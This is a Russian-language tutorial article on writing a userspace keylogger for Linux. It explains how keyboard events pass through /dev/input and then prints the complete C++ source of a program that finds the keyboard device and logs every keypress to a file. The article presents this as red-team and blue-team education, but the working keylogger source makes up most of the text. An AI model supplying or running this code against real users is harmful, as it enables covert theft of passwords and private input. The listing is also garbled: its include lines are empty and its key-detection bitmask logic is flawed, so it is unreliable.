Пишем кейлоггер на Linux: часть 1

Пишем кейлоггер на Linux: часть 1

Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.

image

Что такое кейлоггер?

Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.

Почему нужно изучать кейлоггеры?

Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.

Кому это может понадобиться?

Специалистам Offensive Security или красной команде:

  1. Вы узнаете, какие методы внедрения кейлоггеров существуют;
  2. Вы поймете, где можно запустить кейлоггер.

Специалистам Defensive Security или синей команде:

  1. Вы поймете, где могут скрываться кейлоггеры;
  2. Вы узнаете общие API и методы, которые следует отслеживать для обнаружения кейлоггеров.

Взаимодействие клавиатуры и Linux

Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:

        /-----------+-----------\   /-----------+-----------\
        |   app 1   |    app 2  |   |   app 3   |    app 4  |
        \-----------+-----------/   \-----------+-----------/
                    ^                           ^
                    |                           |
            +-------+                           |
            |                                   |
            | key symbol              keycode   |
            | + modifiers                       |
            |                                   |
            |                                   |
        +---+-------------+         +-----------+-------------+
        +     X server    |         |    /dev/input/eventX    |
        +-----------------+         +-------------------------+
                ^                               ^
                |      keycode / scancode       |
                +---------------+---------------+
                                |
                                |
                +---------------+--------------+      interrupt
                |           kernel             | <--------=-------+
                +------------------------------+                  |
                                                                  |
    +----------+     USB, PS/2      +-------------+ PCI, ...   +-----+
    | keyboard |------------------->| motherboard |----------->| CPU |
    +----------+    key up/down     +-------------+            +-----+

Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши (keydown и keyup), который называется кодом клавиши или скан-кодом (keycode или scancode). Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown и/или keyup) и запустит прерывание для CPU.

CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (/dev/input/eventX).

В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.

Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:

  • Кейлоггер определит, какой файл /dev/input/eventX является клавиатурным устройством и будет напрямую считывать данные из этого файла.
  • Кейлоггер запросит данные о событиях у X-сервера.

А как найти клавиатуру в системе?

Определить клавиатуру или устройство, заменяющее ее, довольно просто:

  1. Итерируем все файлы по `/dev/input/;
  2. Проверяем, принадлежит ли найденный файл к символьному устройству;
  3. Проверяем, поддерживает ли данный файл события клавиатуры;
  4. Проверяем, есть ли в данном файле клавиши, встречающиеся на клавиатурах.

В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.

Так можно итерировать каталоги и искать символьные файлы в C++17:

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            kb_device = p.path().string();
        }
    }
    return kb_device;
}

А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:

  1. Проверим, действительно ли файл доступен для чтения.
  2. Используем IOCTL (функцию, манипулирующую базовыми параметрами устройств, представленных в виде специальных файлов), чтобы проверить, поддерживаются ли события клавиатуры.
  3. Еще раз используем IOCTL и узнаем, поддерживаются ли нужные нам клавиши.

Пример кода для вышеописанной логики приведен ниже:

std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
    std::cerr << "Error: " << strerror(errno) << std::endl;
    continue;
}

int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
    {
        // The device supports A, B, C, Z keys, so it probably is a keyboard
        kb_device = filename;
        close(fd);
        break;
    }

}
close(fd);

Как реализовать считывание событий клавиатуры?

Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:

  1. Считываем данные с клавиатуры в объект `input_event`;
  2. Проверяем, является ли тип события EV_KEY (т.е. событием нажатия клавиши);
  3. Расшифруем поля и извлечем скан-код;
  4. Сопоставим скан-код с названием клавиши.

Структура `input_event` выглядит так:

struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
	struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
	__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
	unsigned int __usec;
	unsigned int __pad;
#else
	__kernel_ulong_t __usec;
#endif
#define input_event_sec  __sec
#define input_event_usec __usec
#endif
	__u16 type;
	__u16 code;
	__s32 value;
}

Рассмотрим переменные в структуре:

  • `time`– временная метка, возвращающая время, в которое произошло событие.
  • ``type`– тип события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он будет **EV_KEY**.
  • ``code`– код события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он станет скан-кодом.
  • ``value`– значение события. Оно может может показывать относительное изменение EV_REL, совершенно новое значение EV_ABS. В EV_KEY оно принимает значение 0 для keyup, 1 для keydown и 2 для автоповтора.

Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

Для полноты картины ниже приведен полный исходный код кейлоггера:

#include 
#include 
#include 
#include 

#include 
#include 

#include 

#include 
#include 
#include 
#include 

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

int loop = 1;

void sigint_handler(int sig)
{
    loop = 0;
}

int write_all(int file_desc, const char *str)
{
    int bytesWritten = 0;
    int bytesToWrite = strlen(str);

    do
    {
        bytesWritten = write(file_desc, str, bytesToWrite);

        if(bytesWritten == -1)
        {
            return 0;
        }
        bytesToWrite -= bytesWritten;
        str += bytesWritten;
    } while(bytesToWrite > 0);

    return 1;
}

void safe_write_all(int file_desc, const char *str, int keyboard)
{
    struct sigaction new_actn, old_actn;
    new_actn.sa_handler = SIG_IGN;
    sigemptyset(&new_actn.sa_mask);
    new_actn.sa_flags = 0;

    sigaction(SIGPIPE, &new_actn, &old_actn);

    if(!write_all(file_desc, str))
    {
        close(file_desc);
        close(keyboard);
        std::cerr << "Error: " << strerror(errno) << std::endl;
        exit(1);
    }

    sigaction(SIGPIPE, &old_actn, NULL);
}

void keylogger(int keyboard, int writeout)
{
    int eventSize = sizeof(struct input_event);
    int bytesRead = 0;
    const unsigned int number_of_events = 128;
    struct input_event events[number_of_events];
    int i;

    signal(SIGINT, sigint_handler);

    while(loop)
    {
        bytesRead = read(keyboard, events, eventSize * number_of_events);

        for(i = 0; i < (bytesRead / eventSize); ++i)
        {
            if(events[i].type == EV_KEY)
            {
                if(events[i].value == 1)
                {
                    if(events[i].code > 0 && events[i].code < keycodes.size())
                    {
                        safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);
                        safe_write_all(writeout, "\n", keyboard);
                    }
                    else
                    {
                        write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
                    }
                }
            }
        }
    }
    if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            std::string filename = p.path().string();
            int fd = open(filename.c_str(), O_RDONLY);
            if(fd == -1)
            {
                std::cerr << "Error: " << strerror(errno) << std::endl;
                continue;
            }

            int32_t event_bitmap = 0;
            int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

            ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
            if((EV_KEY & event_bitmap) == EV_KEY)
            {
                // The device acts like a keyboard

                ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
                if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                {
                    // The device supports A, B, C, Z keys, so it probably is a keyboard
                    kb_device = filename;
                    close(fd);
                    break;
                }
            }
            close(fd);
        }
    }
    return kb_device;
}

void print_usage_and_quit(char *application_name)
{
    std::cout << "Usage: " << application_name << " output-file" << std::endl;
    exit(1);
}

int main(int argc, char *argv[])
{
    std::string kb_device = get_kb_device();

    if (argc < 2)
        print_usage_and_quit(argv[0]);

    if(kb_device == "")
        print_usage_and_quit(argv[0]);

    int writeout;
    int keyboard;

    if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)
    {
        std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;
        return 1;
    }

    if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)
    {
        std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;
        return 1;
    }

    std::cout << "Keyboard device: " << kb_device << std::endl;
    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);

    return 0;
}


Мир сходит с ума и грянет киберапокалипсис. Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!